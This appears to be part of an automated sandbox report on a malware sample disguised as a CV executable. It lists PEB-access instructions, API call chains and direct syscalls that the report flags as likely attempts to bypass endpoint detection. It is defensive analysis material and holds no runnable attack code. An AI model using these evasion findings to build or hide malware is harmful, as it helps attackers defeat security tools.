Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5A470 mov eax, dword ptr fs:[00000030h]	1_2_03A5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5A470 mov eax, dword ptr fs:[00000030h]	1_2_03A5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E443 mov eax, dword ptr fs:[00000030h]	1_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E443 mov eax, dword ptr fs:[00000030h]	1_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E443 mov eax, dword ptr fs:[00000030h]	1_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E443 mov eax, dword ptr fs:[00000030h]	1_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E443 mov eax, dword ptr fs:[00000030h]	1_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E443 mov eax, dword ptr fs:[00000030h]	1_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E443 mov eax, dword ptr fs:[00000030h]	1_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E443 mov eax, dword ptr fs:[00000030h]	1_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEA456 mov eax, dword ptr fs:[00000030h]	1_2_03AEA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2645D mov eax, dword ptr fs:[00000030h]	1_2_03A2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5245A mov eax, dword ptr fs:[00000030h]	1_2_03A5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40BBE mov eax, dword ptr fs:[00000030h]	1_2_03A40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40BBE mov eax, dword ptr fs:[00000030h]	1_2_03A40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_03AE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_03AE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A38BF0 mov eax, dword ptr fs:[00000030h]	1_2_03A38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A38BF0 mov eax, dword ptr fs:[00000030h]	1_2_03A38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A38BF0 mov eax, dword ptr fs:[00000030h]	1_2_03A38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5EBFC mov eax, dword ptr fs:[00000030h]	1_2_03A5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABCBF0 mov eax, dword ptr fs:[00000030h]	1_2_03ABCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A50BCB mov eax, dword ptr fs:[00000030h]	1_2_03A50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A50BCB mov eax, dword ptr fs:[00000030h]	1_2_03A50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A50BCB mov eax, dword ptr fs:[00000030h]	1_2_03A50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A30BCD mov eax, dword ptr fs:[00000030h]	1_2_03A30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A30BCD mov eax, dword ptr fs:[00000030h]	1_2_03A30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A30BCD mov eax, dword ptr fs:[00000030h]	1_2_03A30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADEBD0 mov eax, dword ptr fs:[00000030h]	1_2_03ADEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5EB20 mov eax, dword ptr fs:[00000030h]	1_2_03A5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5EB20 mov eax, dword ptr fs:[00000030h]	1_2_03A5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF8B28 mov eax, dword ptr fs:[00000030h]	1_2_03AF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF8B28 mov eax, dword ptr fs:[00000030h]	1_2_03AF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04B00 mov eax, dword ptr fs:[00000030h]	1_2_03B04B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2CB7E mov eax, dword ptr fs:[00000030h]	1_2_03A2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE4B4B mov eax, dword ptr fs:[00000030h]	1_2_03AE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE4B4B mov eax, dword ptr fs:[00000030h]	1_2_03AE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B02B57 mov eax, dword ptr fs:[00000030h]	1_2_03B02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B02B57 mov eax, dword ptr fs:[00000030h]	1_2_03B02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B02B57 mov eax, dword ptr fs:[00000030h]	1_2_03B02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B02B57 mov eax, dword ptr fs:[00000030h]	1_2_03B02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC6B40 mov eax, dword ptr fs:[00000030h]	1_2_03AC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC6B40 mov eax, dword ptr fs:[00000030h]	1_2_03AC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFAB40 mov eax, dword ptr fs:[00000030h]	1_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD8B42 mov eax, dword ptr fs:[00000030h]	1_2_03AD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A28B50 mov eax, dword ptr fs:[00000030h]	1_2_03A28B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADEB50 mov eax, dword ptr fs:[00000030h]	1_2_03ADEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A38AA0 mov eax, dword ptr fs:[00000030h]	1_2_03A38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A38AA0 mov eax, dword ptr fs:[00000030h]	1_2_03A38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A86AA4 mov eax, dword ptr fs:[00000030h]	1_2_03A86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04A80 mov eax, dword ptr fs:[00000030h]	1_2_03B04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A68A90 mov edx, dword ptr fs:[00000030h]	1_2_03A68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6AAEE mov eax, dword ptr fs:[00000030h]	1_2_03A6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6AAEE mov eax, dword ptr fs:[00000030h]	1_2_03A6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A86ACC mov eax, dword ptr fs:[00000030h]	1_2_03A86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A86ACC mov eax, dword ptr fs:[00000030h]	1_2_03A86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A86ACC mov eax, dword ptr fs:[00000030h]	1_2_03A86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A30AD0 mov eax, dword ptr fs:[00000030h]	1_2_03A30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A64AD0 mov eax, dword ptr fs:[00000030h]	1_2_03A64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A64AD0 mov eax, dword ptr fs:[00000030h]	1_2_03A64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6CA24 mov eax, dword ptr fs:[00000030h]	1_2_03A6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5EA2E mov eax, dword ptr fs:[00000030h]	1_2_03A5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A54A35 mov eax, dword ptr fs:[00000030h]	1_2_03A54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A54A35 mov eax, dword ptr fs:[00000030h]	1_2_03A54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABCA11 mov eax, dword ptr fs:[00000030h]	1_2_03ABCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6CA6F mov eax, dword ptr fs:[00000030h]	1_2_03A6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6CA6F mov eax, dword ptr fs:[00000030h]	1_2_03A6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6CA6F mov eax, dword ptr fs:[00000030h]	1_2_03A6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADEA60 mov eax, dword ptr fs:[00000030h]	1_2_03ADEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AACA72 mov eax, dword ptr fs:[00000030h]	1_2_03AACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AACA72 mov eax, dword ptr fs:[00000030h]	1_2_03AACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36A50 mov eax, dword ptr fs:[00000030h]	1_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36A50 mov eax, dword ptr fs:[00000030h]	1_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36A50 mov eax, dword ptr fs:[00000030h]	1_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36A50 mov eax, dword ptr fs:[00000030h]	1_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36A50 mov eax, dword ptr fs:[00000030h]	1_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36A50 mov eax, dword ptr fs:[00000030h]	1_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36A50 mov eax, dword ptr fs:[00000030h]	1_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40A5B mov eax, dword ptr fs:[00000030h]	1_2_03A40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40A5B mov eax, dword ptr fs:[00000030h]	1_2_03A40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0 mov eax, dword ptr fs:[00000030h]	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A309AD mov eax, dword ptr fs:[00000030h]	1_2_03A309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A309AD mov eax, dword ptr fs:[00000030h]	1_2_03A309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB89B3 mov esi, dword ptr fs:[00000030h]	1_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB89B3 mov eax, dword ptr fs:[00000030h]	1_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB89B3 mov eax, dword ptr fs:[00000030h]	1_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABE9E0 mov eax, dword ptr fs:[00000030h]	1_2_03ABE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A629F9 mov eax, dword ptr fs:[00000030h]	1_2_03A629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A629F9 mov eax, dword ptr fs:[00000030h]	1_2_03A629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC69C0 mov eax, dword ptr fs:[00000030h]	1_2_03AC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A649D0 mov eax, dword ptr fs:[00000030h]	1_2_03A649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFA9D3 mov eax, dword ptr fs:[00000030h]	1_2_03AFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB892A mov eax, dword ptr fs:[00000030h]	1_2_03AB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC892B mov eax, dword ptr fs:[00000030h]	1_2_03AC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE908 mov eax, dword ptr fs:[00000030h]	1_2_03AAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE908 mov eax, dword ptr fs:[00000030h]	1_2_03AAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABC912 mov eax, dword ptr fs:[00000030h]	1_2_03ABC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A28918 mov eax, dword ptr fs:[00000030h]	1_2_03A28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A28918 mov eax, dword ptr fs:[00000030h]	1_2_03A28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A56962 mov eax, dword ptr fs:[00000030h]	1_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A56962 mov eax, dword ptr fs:[00000030h]	1_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A56962 mov eax, dword ptr fs:[00000030h]	1_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A7096E mov eax, dword ptr fs:[00000030h]	1_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A7096E mov edx, dword ptr fs:[00000030h]	1_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A7096E mov eax, dword ptr fs:[00000030h]	1_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD4978 mov eax, dword ptr fs:[00000030h]	1_2_03AD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD4978 mov eax, dword ptr fs:[00000030h]	1_2_03AD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABC97C mov eax, dword ptr fs:[00000030h]	1_2_03ABC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB0946 mov eax, dword ptr fs:[00000030h]	1_2_03AB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04940 mov eax, dword ptr fs:[00000030h]	1_2_03B04940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A30887 mov eax, dword ptr fs:[00000030h]	1_2_03A30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABC89D mov eax, dword ptr fs:[00000030h]	1_2_03ABC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFA8E4 mov eax, dword ptr fs:[00000030h]	1_2_03AFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_03A6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_03A6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E8C0 mov eax, dword ptr fs:[00000030h]	1_2_03A5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B008C0 mov eax, dword ptr fs:[00000030h]	1_2_03B008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A52835 mov eax, dword ptr fs:[00000030h]	1_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A52835 mov eax, dword ptr fs:[00000030h]	1_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A52835 mov eax, dword ptr fs:[00000030h]	1_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A52835 mov ecx, dword ptr fs:[00000030h]	1_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A52835 mov eax, dword ptr fs:[00000030h]	1_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A52835 mov eax, dword ptr fs:[00000030h]	1_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A830 mov eax, dword ptr fs:[00000030h]	1_2_03A6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD483A mov eax, dword ptr fs:[00000030h]	1_2_03AD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD483A mov eax, dword ptr fs:[00000030h]	1_2_03AD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABC810 mov eax, dword ptr fs:[00000030h]	1_2_03ABC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABE872 mov eax, dword ptr fs:[00000030h]	1_2_03ABE872

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003BA66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_003BA66C

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003A81AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_003A81AC
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003A8189 SetUnhandledExceptionFilter,		0_2_003A8189

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
